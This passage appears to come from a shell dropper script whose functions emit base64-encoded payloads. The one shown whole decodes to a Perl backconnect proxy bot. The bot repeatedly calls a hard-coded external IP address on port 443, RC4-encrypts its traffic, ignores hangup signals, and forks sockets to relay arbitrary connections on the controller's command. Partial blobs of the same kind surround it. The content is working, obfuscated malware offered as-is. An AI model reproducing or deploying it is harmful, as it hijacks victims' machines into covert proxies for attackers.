CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_46() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_47() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 